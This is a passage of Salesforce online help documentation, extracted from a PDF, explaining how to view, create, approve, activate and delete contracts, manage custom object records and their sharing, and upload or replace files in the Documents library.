In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Contracts Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Contracts options are: Recent Contracts Choice Recently Created Description The last ten or twenty-five contracts you created, with the most recently created contract listed first. This list only includes records owned by you. The last ten or twenty-five contracts you updated, with the most recently updated contract listed first. This list only includes records owned by you. The last ten or twenty-five contracts you viewed, with the most recently viewed contract listed first. This list is derived from your recent items and includes records owned by you and other users. The last ten or twenty-five contracts that have at least one approval request awaiting your approval. This list includes records owned by you and other users.

Recently Modified

Recently Viewed

Approval Pending

In the Recent Contracts section, click New to create a new contract.

See Also:
Contracts Overview Cloning Contracts Deleting Contracts Creating Custom List Views Displaying and Editing Contracts Creating Contracts

Viewing Contract Lists

195

Contracts

Viewing Contract Lists

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contract lists: To create contracts: Read on contracts Create on contracts AND Read on accounts

The contracts list page displays a list of contracts that match your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click a contract number to view the detail. Click Edit or Del to edit or delete a contract. If Chatter is enabled, click or to follow or stop following a contract in your Chatter feed. Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Displaying and Editing Contracts Creating Contracts Deleting Contracts Enabling the Customer Portal for Contacts and Person Accounts Customizing User Interface Settings Working with Enhanced Lists Printing List Views Using Inline Editing in Lists

Displaying and Editing Contracts

196

Contracts

Displaying and Editing Contracts

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: To change contracts: Read on contracts Edit on contracts AND Read on accounts To change activated contracts: Activate Contracts

Displaying Contracts Once you have located a contract on the contracts home or list pages, click the contract number to display detailed information. From an account, click the contract number in the Contracts related list to display the contract. All contracts associated with the account are listed in the Contracts related list. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. Viewing Contract Updates and Comments (Chatter) Display a Chatter feed of updates, comments, and posts about the contract. Editing Contracts To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click Save. You can also select Save & New to save the current contract and create another. Users with the Edit permission on contracts can edit contracts until they are activated. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. Contract Related Lists The lower portion of the display provides a snapshot of key information relating to the contract. The related lists you see are determined by your personal customization and by any customization your administrator has made to page layouts or your permissions to view related data. You can click on individual items to display additional detail. Click more at the bottom of the page or View More below a related list to display more items. Click New to directly add new items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. Printing Contracts To open a printable display of the record details, in the top-right corner of the page, click Printable View.

197

Contracts

Displaying and Editing Contracts

To return to the last list page you viewed, click Back to list at the top of the contracts detail page. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. For more information, see Navigating on page 14.

See Also:
Contract Approval Requests Contract History Contract Fields Creating Contracts Cloning Contracts Deleting Contracts Tagging Records Searching for Contracts

Contract Approval Requests


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays information about each approval request and includes the status and any approve or reject comments. When the status is Pending, no comment is included.

See Also:
Approving Contracts

Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information about setting up which fields are tracked, see Tracking Field History on page 1007.

Viewing Contract Updates (Chatter)

198

Contracts

Viewing Contract Updates (Chatter)

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the contract. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Contracts
When you follow a contract, your Chatter feed includes field changes and contract feed updates. To follow a contract, click Follow. To stop following, click Following . The Followers list shows you who is following the contract. To view a full list, click Show All. You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save.

See Also:
Chatter Overview Using Chatter Feeds

Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: To create contracts: Read on contracts Create on contracts AND Read on accounts

You must have at least read access to an account in order to associate a contract with it. To create a contract: 1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts home page. Select an Account Name to associate the new contract with that account. Alternatively, view the account record first and click New in the Contracts related list.

199

Contracts

Cloning Contracts

2. Choose a contract status. 3. Enter the start date of the contract. 4. Enter the number of months that the new contract will be in effect. Note: Your administrator may have configured Salesforce to calculate Contract End Date based on Contract Start Date and Contract Term. If Contract End Date is auto-calculated, it will not display on the contracts edit page. 5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 201. 6. Click Save. The contract is listed under the Contracts related list of the account. Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record Type when creating a record. This determines the picklist values and status values available when creating and editing a record. For instructions on enabling record types for contracts, see Managing Record Types on page 1180. If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.

See Also:
Cloning Contracts Contract Fields Contracts Home Deleting Contracts

Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: To clone contracts: Read on contracts Create on contracts AND Read on accounts

The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example, you can add multiple contracts for the same account. Click Clone on an existing contract. Enter or change any information for the new contract and click Save.

200

Contracts

Contract Fields

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contract Fields Deleting Contracts

Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Field
Account Name Activated By Activated Date Billing Street

Description Name of account associated with the contract. Name of the person that activated the contract. Activation date of the contract. Street address used for billing. Up to 255 characters are allowed in this field. City portion of billing address. Up to 40 characters are allowed in this field. State or province portion of billing address. Up to 20 characters are allowed in this field. Zip or postal code portion of billing address. Up to 20 characters are allowed in this field. Country portion of billing address. Up to 40 characters are allowed in this field. User at your organization who authorized the contract. Date that the contract was authorized. Division to which the contract belongs. This value is automatically inherited from the related account. Available only in organizations that use divisions to segment their data. Last day the contract is in effect. Your administrator can configure Salesforce to calculate Contract End Date based on Contract Start Date and Contract Term. If this

Billing City

Billing State/Province

Billing Zip/Postal Code

Billing Country

Company Signed By Company Signed Date Contract Division

Contract End Date

201

Contracts

Contract Fields

Field

Description field is auto-calculated, it will not display on the contracts edit page.

Contract Name Contract Number

Title for the contract that distinguishes it from other contracts. Unique number automatically assigned to the contract. Numbering for contracts starts at 100. (Read only) Administrators can modify the format and numbering for this field. See Modifying Standard Auto-Number Fields on page 965. User who owns the contract record. First day that the contract is in effect. Number of months that the contract is in effect. User who created the contract record. Contact on the account that authorized the contract. Date the contact signed the contract. Title of the contact who signed the contract. Statement describing the contract. User who most recently changed the contract record. Number of days before the contract end date you want to send the notification, if the contract owner and account owner wants to be notified of an upcoming contract expiration. Primary mailing or shipping street address of account. Up to 255 characters are allowed in this field. City portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. State or province portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Zip or postal code portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Country portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. Any terms that you have specifically agreed to and want to track in the contract. Indicates the stage that the contract has reached in the contract business process. Your organization can add values to this picklist within three system-defined contract status categories: Draft, In Approval Process, and Activated. You

Contract Owner Contract Start Date Contract Term (months) Created By Customer Signed By Customer Signed Date Customer Signed Title Description Last Modified By Owner Expiration Notice

Shipping Street

Shipping City

Shipping State/Province

Shipping Zip/Postal Code

Shipping Country

Special Terms

Status

202

Contracts

Approving Contracts

Field

Description can use these status categories to track contracts within your business process using reports and views. Important: The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field.

Custom Links

Listing of custom links for contracts set up by your administrator.

See Also:
Displaying and Editing Contracts Creating Contracts Cloning Contracts

Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To approve contracts: Approve Contracts

Your organization may already have a process for approving contracts. For example, you may have one person designated for each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce administrator can customize Salesforce to give the appropriate people the permissions they need to perform their part of the contract life-cycle. Before you begin customizing Salesforce, define the life-cycle of a contract in your organization. Use the following basic contract approval process to get started: 1. A user creates a contract. This user needs to have the Edit permission on contracts. All newly created contracts have a Draft status. 2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on a contract changes its status to In Approval Process. 3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the contract and submit another approval request. The status remains In Approval Process whether the approval request was accepted or rejected. 4. If accepted, a contract administrator activates the contract. Users with the Activate Contracts permission can activate a contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated

203

Contracts

Approving Contracts

contracts cannot be changed and only users with the Delete Activated Contracts permission can delete a contract with Activated status.

Sending Approval Requests


To send an approval request for a contract: 1. 2. 3. 4. 5. Select the contract. Click New in the Approval Requests related list. Select the person you want to receive the approval request. Enter any request comments. Click Save. Salesforce sends an email approval request to the recipient you selected. The recipient can click a link in the email to view the contract and click Approve to accept the contract or Reject to return the approval request. All approval requests are tracked in the Approval Request related list. Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333 characters.

Receiving Approval Requests


Use the Approval Pending list on the contracts home page to view all the contracts that require your approval. When you receive an email approval request, click the included link to view the contract. Click Approve to accept the contract as is and notify the contract owner that the request is approved. You will be prompted to select an approval request status and enter any approval request comments. Click Save to send and save the approval request. Click Reject to return the approval request. Select an approval request status and enter any comments that you want attached to the approval request. Click Save to send your response and save the approval request. Note: You can use the standard contracts approval functionality alone or together with approval processes. The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field.

See Also:
Activating Contracts Displaying and Editing Contracts Creating Contracts

Activating Contracts

204

Contracts

Activating Contracts

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To activate contracts: Activate Contracts AND Read and Edit on contracts

Administrators and users with the Activate Contracts permission can activate contracts. To edit an activated contract, a user must have the Activate Contracts permission. Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot be changed and only users with the Delete Activated Contracts permission can delete a contract with Activated status. To activate a contract: 1. Select the contract you want to activate. 2. Click Activate. The status of an activated contract is Activated.

See Also:
Approving Contracts Displaying and Editing Contracts

Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete inactivated contracts: Delete on contracts AND Read on accounts To delete activated contracts: Delete Activated Contracts AND Read on accounts

To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete on the contract detail page.

205

Custom Object Records

Searching for Contracts

When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted. Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the contract, any related items are also restored.

See Also:
Recycle Bin Activating Contracts

Searching for Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: Read on contracts

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. You can also create a contract list view to find contracts that match specific criteria.

See Also:
Search Overview

CUSTOM OBJECT RECORDS


Custom Object Record Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects records store information that is unique and important to you and your organization. For example, your organization may use a custom object called Quotes to store data for your company's sales quotes. You can also use custom objects for custom applications, such as tracking software enhancements in a development life-cycle.

206

Custom Object Records

Custom Objects Home

Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data, page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record to which you have access. Administrators, and users with the Modify All Data permission, can import custom objects. See What Is Imported for Custom Objects? on page 734. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Objects Home Defining Custom Objects

Custom Objects Home


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a custom object tab: To view custom object records: Read on the custom object Read on the custom object

Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom object as defined by your administrator. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click Edit. If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom Object Name] from Connections to view the custom objects that your business partners have shared with you. In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Custom Object Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The key list choices are:

207

Custom Object Records

Viewing Custom Object Lists

Recent Custom Objects Choice Recently Viewed

Description The last ten or twenty-five custom object records you viewed, with the most recently viewed item listed first. This list is derived from your recent items and includes records owned by you and other users. The last ten or twenty-five custom object records you created, with the most recently created item listed first. This list only includes records owned by you. The last ten or twenty-five custom object records you updated, with the most recently updated item listed first. This list only includes records owned by you.

Recently Created

Recently Modified

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Overview Displaying and Editing Custom Object Records Creating Custom Object Records Deleting Custom Object Records Creating Custom List Views Custom Help Overview Replacing Salesforce Online Help

Viewing Custom Object Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object lists: To create custom object records: Read on the custom object Create on the custom object

The custom objects list page displays a list of custom object records in your current view. A list view includes custom object records of one type only; you cannot view more than one type of custom object in a single list view. Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user permissions to use them.

208

Custom Object Records

Viewing Custom Object Lists

Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name to edit or delete the record. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. If Chatter is enabled, click or to follow or stop following a custom object in your Chatter feed. If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records, and then click Accept. Note: You can view and accept records only from queues you belong to, or if you are higher in the role hierarchy than a queue member. Administrators, users with the Modify All object-level permission for the given object, and users with the Modify All Data permission, can view and take records from any queue.

To transfer ownership of multiple records at once, select the box next to one or more custom object records and click Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the new record owner, and click Save. Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar to create a new custom object of that type.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Overview Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views

209

Custom Object Records

Displaying and Editing Custom Object Records

Displaying and Editing Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object records: To change custom object records: Read on the custom object Edit on the custom object

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user permissions to use them. Displaying Custom Object Records Once you have located a custom object record on the custom objects tab home or list pages, click the custom object record name to display detailed information. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. If the Service Cloud console is set up to include custom objects, select it from the Force.com app menu to find, view, and edit custom object records and their related items on one screen. See Using the Service Cloud Console on page 2915. Editing Custom Object Records To update custom object record details, click Edit, and then change the fields you want to update. When you have finished, click Save. You can also click Save & New to save the current custom object record and create another. Required fields are marked with red. Note: You cannot change the Object Name or Data Type if the custom object is referenced in Apex. For more information, see Apex Code Overview on page 1825.

Custom Object Related Lists The lower portion of the custom object record detail page provides information related to the custom object record, including activities, notes, attachments, and any other related records. The related lists you see are determined by your personal customization, and by any customization your administrator has made to page layouts or your permissions to view related data. You can click on individual items to display additional detail. Click more at the bottom of the page or View More below a related list to display more items. Clicking New lets you directly add new items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. Printing Custom Object Records To open a printable display of the record details, in the top-right corner of the page, click Printable View.

210

Custom Object Records

Creating Custom Object Records

To return to the last list page you viewed, click Back to list at the top of any custom object record detail page. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. See Navigating on page 14 for more information. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Fields Creating Custom Object Records Deleting Custom Object Records Searching for Custom Object Records Tagging Records Using Custom Related Lists

Creating Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object records: To create custom object records: Read on the custom object Create on the custom object

To create a new custom object record: 1. Click New Custom Object Name. 2. Enter the information for the custom object record. 3. Click Save when you are finished, or click Save & New to save the current record and add another. If your administrator has defined relationships to other types of records, you can automatically associate the new custom object with another record. View the other record and select the custom object name from the Create New drop-down list in the sidebar, or click New Object Name in the custom object related list of the other record. If your organization uses divisions to segment data, custom objects that are detail objects in a master-detail relationship inherit their division from the master object. Custom objects that are not related to other records are automatically in the global division.

211

Custom Object Records

Cloning Custom Object Records

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Fields Custom Objects Home Defining Custom Objects

Cloning Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone custom object records: Create on the custom object

The Clone button on a custom object record quickly creates a new custom object record with the same information as the existing record. To clone a custom object record: 1. Click Clone on an existing custom object record. 2. Enter or change any information for the new record. 3. Click Save. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Custom Object Record Fields

212

Custom Object Records

Using Custom Related Lists

Using Custom Related Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object record related lists: Read on the custom object AND Read on the associated record To change custom object records: To create custom object records: To delete custom object records: Edit on the custom object Create on the custom object Delete on the custom object

Custom related lists display on the lower portion of the detail page for another record. They list the custom object records that are associated with that record. From a custom related list, you can: Click the custom object record name to view detailed information. Click Edit or Del to edit or delete the custom object record. Click New to create a new custom object record that is associated with the record you are viewing.

Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record. For more information, see Overview of Relationships on page 1610. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Overview Displaying and Editing Custom Object Records Creating Custom Object Records Deleting Custom Object Records

213

Custom Object Records

Custom Object Record Fields

Custom Object Record Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Your administrator may also have defined additional custom fields. Field
Created By Currency Division

Description User who created the record. Currency of the record if multicurrency is enabled. Division to which the custom object record belongs. Custom objects that are detail objects in a master-detail relationship inherit their division from the master object. Custom objects that are not related to other records are automatically in the global division. Available only in organizations that use divisions to segment their data. User who most recently changed the record. Identifier for the custom object record. This name appears in page layouts, related lists, lookup dialogs, search results, and key lists on tab home pages. By default, this field is added to the custom object page layout as a required field. Assigned owner of the custom object record. If the custom object becomes the detail side of a master-detail relationship, this field is removed, as ownership of the data is controlled by the master object, or by the primary master object for a custom object with two master-detail relationships. Note: Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing, or queues, as these require the Owner field.

Last Modified By Name

Owner

214

Custom Object Records

Deleting Custom Object Records

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Objects Home Custom Object Record Overview

Deleting Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete custom object records: Delete on the custom object

To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page. When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is in a lookup relationship or the detail side of a master-detail relationship, any associated records are not deleted. The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored. You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more than 100,000 child records, first delete an appropriate number of its child records. Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access to edit the associated master record.

See Also:
Recycle Bin Overview of Relationships Managing Custom Objects Deleting Relationship Groups Removing Members from Relationship Group Members

Searching for Custom Object Records

215

Custom Object Records

Searching for Custom Object Records

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object records: Read on the custom object

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. You can also create a custom object list view to find custom object records that match specific criteria. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Search Overview

Sharing Custom Object Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a custom object record: Read on the custom object

Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing to more users than the default set by your administrator. However, you cannot change the sharing model to make it more restrictive than the default. To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Note: To share a custom object record with another user, that user must have the Read permission on the custom object.

216

Documents

Document Library Overview

Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Granting Access to Records Viewing Which Users Have Access

DOCUMENTS
Document Library Overview
Available in: All Editions except Database.com

A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each document in the document library resides in a folder. The folders attributes determine the accessibility of the folder and the documents within it. To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments on page 2191.

Displaying The Documents Tab


If your Documents tab is not visible, you can customize your display to show it. For more information, see Customizing Your Display on page 41. Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Documents Home File Size Limits in Salesforce Monitoring Resources Salesforce CRM Content Overview

Documents Home
217

Documents

Documents Home

Available in: All Editions except Database.com

User Permissions Needed To view Documents tab: To view documents: To upload new documents: Read on documents Read on documents Create on documents

Clicking on the Documents tab displays the documents home page. Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see Customizing Your Display on page 41. Under Find a Document, enter keywords to search for a document. In the Document Folders section, select a folder to view all the documents contained in that folder. The Recent Documents section displays the last ten or twenty-five documents you viewed, with the most recently-viewed document listed first. This list is derived from your recent items and includes records owned by you and other users. Toggle the Show 25 items and Show 10 items links to change the number of items that display. In the Recent Documents section, click New to upload a new document. Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Document Library Overview Viewing Document Lists Displaying and Editing Document Properties Uploading and Replacing Documents Deleting Documents Changing Document Authors Searching for Documents Managing Folders

Viewing Document Lists

218

Documents

Viewing Document Lists

Available in: All Editions except Database.com

User Permissions Needed To view documents: To change document properties: To replace documents: To delete documents: Read on documents Edit on documents Edit on documents Delete on documents

The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document information or manipulate the document. Click the document name to view document property details. For information on the document details, see Displaying and Editing Document Properties on page 219. Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document Properties on page 219. Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin. For more information, see Deleting Documents on page 224. Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on your machine, Salesforce displays a standard download dialog prompting you to choose a save option. Choose a folder to view a list of documents stored in that folder. Click any column heading to sort the documents in ascending order by the information in that column. Click the same column heading again to sort documents in descending order. At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character. Click the Next Page or Previous Page links to go to the next or previous set of documents. At the bottom of the document list, select fewer or more to view a shorter or longer display list. Click Printable View to display the current list view in a format that is ready for printing. Note: If you can't find a document, you may not have access to the folder that contains it. For more information about folders, see Managing Folders on page 1228.

Displaying and Editing Document Properties

219

Documents

Displaying and Editing Document Properties

Available in: All Editions except Database.com

User Permissions Needed To view documents: To update properties: To replace documents: To move documents: To delete documents: Read on documents Edit on documents Edit on documents Edit on documents Delete on documents

Displaying Documents - Once you have located a document on the documents home or list pages, click the document name to display detailed information. Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When you have finished, click Save. See Document Properties on page 222 for a description of the document properties. Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 224 for more information about deleting documents. Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and Replacing Documents on page 221 for instructions on replacing documents. Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the Documents tab so that a user who does not have a Salesforce username and password can view the image when it is received in an email. Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that match your search terms displays. You can search for terms using the following fields:
Document Name Keywords Description

If Document Content Searchable is checked, the content of a document can also be searched. Viewing Folder Contents - To view all the documents in a folder, click the folder name. Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save.

220

Documents

Uploading and Replacing Documents

To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page 14 for more information.

See Also:
Tagging Records Uploading and Replacing Documents Searching for Documents

Uploading and Replacing Documents


Available in: All Editions except Database.com

User Permissions Needed To upload new documents: To replace documents: Create on documents Edit on documents

Uploading a New Document


To upload a document: 1. Click New Document from the Documents tab or click New next to Recent Documents on the documents home page. If you do not have a New Document option, check if you have the correct permissions. 2. Specify a descriptive Document Name. If you want to use the file name, leave this field blank. The file name will appear automatically when you upload the file. 3. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages. 4. You can check:
Internal Use Only if the document is confidential. Checking this box does not change the visibility of the file but

prevents it from being publicly accessible. Externally Available Image if the document is an image, such as a logo, that's not confidential. Check this box to: Make the image available from HTML email templates without requiring a Salesforce username and password Use the image as a custom tab icon or custom app logo, which do require a Salesforce username and password to view Display the image in meeting requests

5. 6. 7. 8.

Select a folder for the document. Enter a description to use later as search criteria. Enter keywords that you can use later as search criteria. Select a document or path option. To upload a document, click Browse, choose the file, and click Open. To store a link to the document, enter the location of the document. Enter a path and file name or a URL such as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

221

Documents

Document Properties

9. Click Save.

Replacing a Document
To replace a document with an updated version: 1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching for Documents on page 225. 2. Click Replace Document. 3. Select a document or path option. To upload a replacement, click Browse, choose the file, and click Open. To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

4. Click Replace Document.

Tips for Uploading or Replacing Documents


